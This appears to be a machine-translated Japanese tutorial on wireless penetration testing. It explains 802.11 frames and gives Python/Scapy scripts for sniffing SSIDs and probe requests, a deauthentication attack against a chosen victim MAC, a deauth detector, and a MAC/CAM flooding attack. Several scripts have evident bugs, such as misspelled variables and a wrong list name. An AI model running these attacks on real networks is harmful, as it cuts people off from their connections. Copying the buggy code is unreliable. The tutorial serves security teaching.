ワイヤレスネットワークの侵入テスト
ワイヤレスシステムには多くの柔軟性がありますが、一方で、深刻なセキュリティ問題も引き起こします。そして、これはどのようにして深刻なセキュリティ問題になりますか。攻撃者は、ワイヤレス接続の場合、有線ネットワークの場合のように物理的にアクセスするのではなく、攻撃する信号を利用できる必要があるだけです。ワイヤレスシステムの侵入テストは、有線ネットワークで行うよりも簡単な作業です。ワイヤレスメディアに対して適切な物理的セキュリティ対策を実際に適用することはできません。十分に近くにいると、無線で流れているすべてのものを「聞く」ことができます(または少なくともワイヤレスアダプタが聞くことができます)。
前提条件
ワイヤレスネットワークの侵入テストについて詳しく学ぶ前に、用語とクライアントとワイヤレスシステム間の通信プロセスについて説明することを検討しましょう。
重要な用語
ここで、ワイヤレスネットワークの侵入テストに関連する重要な用語を学びましょう。
アクセスポイント(AP)
アクセスポイント(AP)は、802.11ワイヤレス実装の中央ノードです。このポイントは、ユーザーをネットワーク内の他のユーザーに接続するために使用され、無線LAN(WLAN)と固定配線ネットワーク間の相互接続ポイントとしても機能します。WLANでは、APはデータを送受信するステーションです。
サービスセット識別子(SSID)
これは、基本的にワイヤレスネットワークに割り当てられた名前である0〜32バイトの長さの人間が読めるテキスト文字列です。ネットワーク内のすべてのデバイスは、ワイヤレスネットワーク(Wi-Fi)を介して通信するために、この大文字と小文字を区別する名前を使用する必要があります。
基本サービスセットID(BSSID)
これは、ワイヤレスアクセスポイント(AP)で実行されているWi-FiチップセットのMACアドレスです。ランダムに生成されます。
チャンネル番号
これは、アクセスポイント(AP)が送信に使用する無線周波数の範囲を表します。
クライアントとワイヤレスシステム間の通信
私たちが理解する必要があるもう1つの重要なことは、クライアントとワイヤレスシステム間の通信プロセスです。次の図の助けを借りて、私たちは同じことを理解することができます-
ビーコンフレーム
クライアントとアクセスポイント間の通信プロセスでは、APは定期的にビーコンフレームを送信してその存在を示します。このフレームには、SSID、BSSID、およびチャネル番号に関連する情報が含まれています。
プローブリクエスト
これで、クライアントデバイスは、範囲内のAPをチェックするためのプローブ要求を送信します。プローブ要求を送信した後、APからのプローブ応答を待ちます。プローブリクエストには、APのSSID、ベンダー固有の情報などの情報が含まれています。
プローブ応答
これで、プローブ要求を取得した後、APは、サポートされているデータレート、機能などの情報を含むプローブ応答を送信します。
認証リクエスト
これで、クライアントデバイスはそのIDを含む認証要求フレームを送信します。
認証応答
これに応答して、APは受け入れまたは拒否を示す認証応答フレームを送信します。
協会のリクエスト
認証が成功すると、クライアントデバイスは、サポートされているデータレートとAPのSSIDを含むアソシエーション要求フレームを送信しました。
協会の対応
これに応答して、APは受け入れまたは拒否を示すアソシエーション応答フレームを送信します。承認された場合、クライアントデバイスのアソシエーションIDが作成されます。
Pythonを使用したワイヤレスサービスセット識別子(SSID)の検索
SCAPyライブラリを使用するだけでなく、rawソケットメソッドを使用してSSIDに関する情報を収集できます。
rawソケット方式
私たちはすでにそれを学びました mon0ワイヤレスパケットをキャプチャします。したがって、モニターモードをに設定する必要がありますmon0。Kali Linuxでは、airmon-ng脚本。このスクリプトを実行すると、ワイヤレスカードに次のような名前が付けられますwlan1。次のコマンドを使用して、モニターモードを有効にする必要があります。mon0 −
airmon-ng start wlan1
以下は、APのSSIDを提供する生のソケットメソッドであるPythonスクリプトです。
まず、次のようにソケットモジュールをインポートする必要があります-
import socket
次に、3つのパラメーターを持つソケットを作成します。最初のパラメーターはパケットインターフェイス(Linux固有のPF_PACKETおよびWindowsのAF_INET)について示し、2番目のパラメーターはそれがrawソケットであるかどうかを示し、3番目のパラメーターはすべてのパケットに関心があることを示します。
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))
これで、次の行がバインドされます mon0 モードと 0x0003。
s.bind(("mon0", 0x0003))
次に、APのSSIDを格納する空のリストを宣言する必要があります。
ap_list = []
今、私たちは呼び出す必要があります recvfrom()パケットを受信する方法。スニッフィングを続行するには、無限のwhileループを使用します。
while True:
packet = s.recvfrom(2048)
コードの次の行は、フレームがビーコンフレームを示す8ビットであるかどうかを示しています。
if packet[26] == "\x80" :
if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
ap_list.add(packetkt[36:42])
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))
Scapyを使用したSSIDスニファ
Scapyは、Wi-Fiパケットを簡単にスニッフィングできる最高のライブラリの1つです。Scapyについて詳しくは、次のURLをご覧ください。https://scapy.readthedocs.io/en/latest/。まず、Sacpyをインタラクティブモードで実行し、コマンドconfを使用してifaceの値を取得します。デフォルトのインターフェースはeth0です。上記のドームがあるので、このモードをmon0に変更する必要があります。それは次のように行うことができます-
>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3
Scapyをライブラリとしてインポートしましょう。さらに、次のPythonスクリプトを実行すると、SSIDが得られます。
from scapy.all import *
ここで、APのSSIDを格納する空のリストを宣言する必要があります。
ap_list = []
次に、という名前の関数を定義します。 Packet_info()、完全なパケット解析ロジックがあります。引数pktがあります。
def Packet_info(pkt) :
次のステートメントでは、通過するだけのフィルターを適用します Dot11802.11トラフィックを意味するトラフィック。次の行もフィルタであり、フレームタイプ0(管理フレームを表す)およびフレームサブタイプ8(ビーコンフレームを表す)のトラフィックを通過させます。
if pkt.haslayer(Dot11) :
if ((pkt.type == 0) & (pkt.subtype == 8)) :
if pkt.addr2 not in ap_list :
ap_list.append(pkt.addr2)
print("SSID:", (pkt.addr2, pkt.info))
これで、スニフ関数はデータをスニッフィングします iface 値 mon0 (ワイヤレスパケットの場合)そして Packet_info 関数。
sniff(iface = "mon0", prn = Packet_info)
上記のPythonスクリプトを実装するには、モニターモードを使用して空気をスニッフィングできるWi-Fiカードが必要です。
アクセスポイントクライアントの検出
アクセスポイントのクライアントを検出するには、プローブ要求フレームをキャプチャする必要があります。Scapyを使用したSSIDスニファのPythonスクリプトで行ったのと同じように行うことができます。私たちは与える必要がありますDot11ProbeReqプローブ要求フレームをキャプチャするため。以下は、アクセスポイントのクライアントを検出するためのPythonスクリプトです-
from scapy.all import *
probe_list = []
ap_name= input(“Enter the name of access point”)
def Probe_info(pkt) :
if pkt.haslayer(Dot11ProbeReq) :
client_name = pkt.info
if client_name == ap_name :
if pkt.addr2 not in Probe_info:
Print(“New Probe request--”, client_name)
Print(“MAC is --”, pkt.addr2)
Probe_list.append(pkt.addr2)
sniff(iface = "mon0", prn = Probe_info)
ワイヤレス攻撃
ペネトレーションテストの観点からは、ワイヤレス攻撃がどのように発生するかを理解することが非常に重要です。このセクションでは、2種類のワイヤレス攻撃について説明します-
認証解除(認証解除)攻撃
MACフラッディング攻撃
認証解除(認証解除)攻撃
クライアントが切断したいときはいつでも、クライアントデバイスとアクセスポイント間の通信プロセスで、認証解除フレームを送信する必要があります。クライアントからのそのフレームに応答して、APは認証解除フレームも送信します。攻撃者は、被害者のMACアドレスをスプーフィングし、認証解除フレームをAPに送信することで、この通常のプロセスを利用できます。これにより、クライアントとAP間の接続が切断されます。以下は、認証解除攻撃を実行するためのPythonスクリプトです-
まず、Scapyをライブラリとしてインポートしましょう-
from scapy.all import *
import sys
次の2つのステートメントは、APと被害者のMACアドレスをそれぞれ入力します。
BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")
次に、認証解除フレームを作成する必要があります。次のステートメントを実行することで作成できます。
frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()
コードの次の行は、送信されたパケットの総数を表します。ここでは500で、2つのパケット間の間隔です。
sendp(frame, iface = "mon0", count = 500, inter = .1)
出力
上記のコマンドを実行すると、次の出力が生成されます。
Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)
これに続いて、認証解除フレームが作成され、クライアントに代わってアクセスポイントに送信されます。これにより、それらの間の接続がキャンセルされます。
ここでの問題は、Pythonスクリプトを使用して認証解除攻撃をどのように検出するかです。次のPythonスクリプトを実行すると、このような攻撃の検出に役立ちます-
from scapy.all import *
i = 1
def deauth_frame(pkt):
if pkt.haslayer(Dot11):
if ((pkt.type == 0) & (pkt.subtype == 12)):
global i
print ("Deauth frame detected: ", i)
i = i + 1
sniff(iface = "mon0", prn = deauth_frame)
上記のスクリプトでは、ステートメント pkt.subtype == 12 は認証解除フレームを示し、グローバルに定義された変数Iはパケット数を示します。
出力
上記のスクリプトを実行すると、次の出力が生成されます-
Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6
MACアドレスフラッディング攻撃
MACアドレスフラッディング攻撃(CAMテーブルフラッディング攻撃)は、スイッチポートに接続された攻撃者が、異なる偽の送信元MACアドレスを持つ非常に多数のイーサネットフレームでスイッチインターフェイスをフラッディングするタイプのネットワーク攻撃です。CAMテーブルのオーバーフローは、MACアドレスの流入がテーブルにフラッディングされ、CAMテーブルのしきい値に達したときに発生します。これにより、スイッチがハブのように機能し、すべてのポートでネットワークがトラフィックで溢れます。このような攻撃は非常に簡単に開始できます。次のPythonスクリプトは、このようなCAMフラッド攻撃を開始するのに役立ちます-
from scapy.all import *
def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list
def cam_overflow(packet_list):
sendp(packet_list, iface='wlan')
if __name__ == '__main__':
packet_list = generate_packets()
cam_overflow(packet_list)
この種の攻撃の主な目的は、スイッチのセキュリティをチェックすることです。MACフラッディング攻撃の影響を少なくしたい場合は、ポートセキュリティを使用する必要があります。